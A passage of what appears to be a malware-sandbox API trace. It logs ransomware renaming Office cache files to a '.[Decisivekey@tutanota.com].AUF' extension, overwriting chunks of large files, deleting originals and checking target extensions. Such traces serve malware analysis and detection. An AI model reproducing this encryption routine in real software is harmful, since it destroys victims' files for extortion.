Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0205.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0205.880] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0205.880] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0205.880] ReadFile (in: hFile=0x188, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0205.898] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0205.898] ReadFile (in: hFile=0x188, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.022] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0206.022] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0206.022] ReadFile (in: hFile=0x188, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0206.277] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0206.277] WriteFile (in: hFile=0x188, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0206.287] SetEndOfFile (hFile=0x188) returned 1 [0206.287] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.287] WriteFile (in: hFile=0x188, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.288] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.288] WriteFile (in: hFile=0x188, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0206.289] WriteFile (in: hFile=0x188, lpBuffer=0x4009088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4009088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0206.290] CloseHandle (hObject=0x188) returned 1 [0208.550] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0208.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.550] lstrlenW (lpString=".doc") returned 4 [0208.550] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0208.550] lstrlenW (lpString=".docx") returned 5 [0208.550] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0208.550] lstrlenW (lpString=".pdf") returned 4 [0208.550] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0208.550] lstrlenW (lpString=".xls") returned 4 [0208.550] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0208.550] lstrlenW (lpString=".xlsx") returned 5 [0208.550] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0208.550] lstrlenW (lpString=".ppt") returned 4 [0208.550] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0208.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.550] lstrlenW (lpString=".zip") returned 4 [0208.550] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0208.550] lstrlenW (lpString=".rar") returned 4 [0208.550] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".bz2") returned 4 [0208.551] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0208.551] lstrlenW (lpString=".7z") returned 3 [0208.551] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".dbf") returned 4 [0208.551] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".1cd") returned 4 [0208.551] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".jpg") returned 4 [0208.551] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".doc") returned 4 [0208.551] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".docx") returned 5 [0208.551] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0208.551] lstrlenW (lpString=".pdf") returned 4 [0208.551] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".xls") returned 4 [0208.551] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".xlsx") returned 5 [0208.551] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0208.551] lstrlenW (lpString=".ppt") returned 4 [0208.551] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".zip") returned 4 [0208.551] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".rar") returned 4 [0208.551] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0208.551] lstrlenW (lpString=".bz2") returned 4 [0208.551] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0208.551] lstrlenW (lpString=".7z") returned 3 [0208.551] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0208.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.551] lstrlenW (lpString=".dbf") returned 4 [0208.551] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0208.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.552] lstrlenW (lpString=".1cd") returned 4 [0208.552] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0208.552] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0208.552] lstrlenW (lpString=".jpg") returned 4 [0208.552] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0208.552] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0208.552] lstrlenW (lpString="Proof.msi") returned 9 [0208.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0208.552] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=875520) returned 1 [0208.552] CloseHandle (hObject=0x188) returned 1 [0208.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0208.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0208.552] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.552] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.553] GetLastError () returned 0x0 [0208.553] ReadFile (in: hFile=0x188, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0208.720] WriteFile (in: hFile=0x194, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0208.733] ReadFile (in: hFile=0x188, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0208.733] WriteFile (in: hFile=0x194, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0208.733] SetEndOfFile (hFile=0x194) returned 1 [0208.733] CloseHandle (hObject=0x194) returned 1 [0208.739] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.739] SetEndOfFile (hFile=0x188) returned 1 [0209.400] CloseHandle (hObject=0x188) returned 1 [0209.401] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0209.401] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0209.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.401] lstrlenW (lpString=".doc") returned 4 [0209.401] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.401] lstrlenW (lpString=".docx") returned 5 [0209.401] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.401] lstrlenW (lpString=".pdf") returned 4 [0209.401] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.401] lstrlenW (lpString=".xls") returned 4 [0209.401] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.401] lstrlenW (lpString=".xlsx") returned 5 [0209.401] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.401] lstrlenW (lpString=".ppt") returned 4 [0209.401] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.401] lstrlenW (lpString=".zip") returned 4 [0209.401] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.401] lstrlenW (lpString=".rar") returned 4 [0209.401] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString=".bz2") returned 4 [0209.402] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString=".7z") returned 3 [0209.402] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".dbf") returned 4 [0209.402] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".1cd") returned 4 [0209.402] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".jpg") returned 4 [0209.402] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".doc") returned 4 [0209.402] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString=".docx") returned 5 [0209.402] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.402] lstrlenW (lpString=".pdf") returned 4 [0209.402] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString=".xls") returned 4 [0209.402] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString=".xlsx") returned 5 [0209.402] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.402] lstrlenW (lpString=".ppt") returned 4 [0209.402] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".zip") returned 4 [0209.402] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString=".rar") returned 4 [0209.402] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.402] lstrlenW (lpString=".bz2") returned 4 [0209.402] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString=".7z") returned 3 [0209.402] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".dbf") returned 4 [0209.402] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".1cd") returned 4 [0209.402] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0209.402] lstrlenW (lpString=".jpg") returned 4 [0209.402] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.403] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0209.403] lstrlenW (lpString="Proof.cab") returned 9 [0209.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0209.533] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=13642474) returned 1 [0209.533] CloseHandle (hObject=0x1d8) returned 1 [0209.533] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0209.533] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.533] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0209.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0209.542] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0209.542] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.542] ReadFile (in: hFile=0x1d8, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.704] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.704] ReadFile (in: hFile=0x1d8, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.756] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0209.756] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0209.756] ReadFile (in: hFile=0x1d8, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0209.845] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.846] WriteFile (in: hFile=0x1d8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0209.888] SetEndOfFile (hFile=0x1d8) returned 1 [0209.888] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.888] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.889] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.889] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.890] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0209.890] WriteFile (in: hFile=0x1d8, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0209.891] CloseHandle (hObject=0x1d8) returned 1 [0211.033] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.033] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.033] lstrlenW (lpString=".doc") returned 4 [0211.033] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.033] lstrlenW (lpString=".docx") returned 5 [0211.033] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0211.033] lstrlenW (lpString=".pdf") returned 4 [0211.033] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".xls") returned 4 [0211.034] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".xlsx") returned 5 [0211.034] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0211.034] lstrlenW (lpString=".ppt") returned 4 [0211.034] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".zip") returned 4 [0211.034] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".rar") returned 4 [0211.034] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString=".bz2") returned 4 [0211.034] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.034] lstrlenW (lpString=".7z") returned 3 [0211.034] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".dbf") returned 4 [0211.034] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.034] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0211.034] lstrlenW (lpString=".1cd") returned 4 [0211.034] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.034] lstrlenW 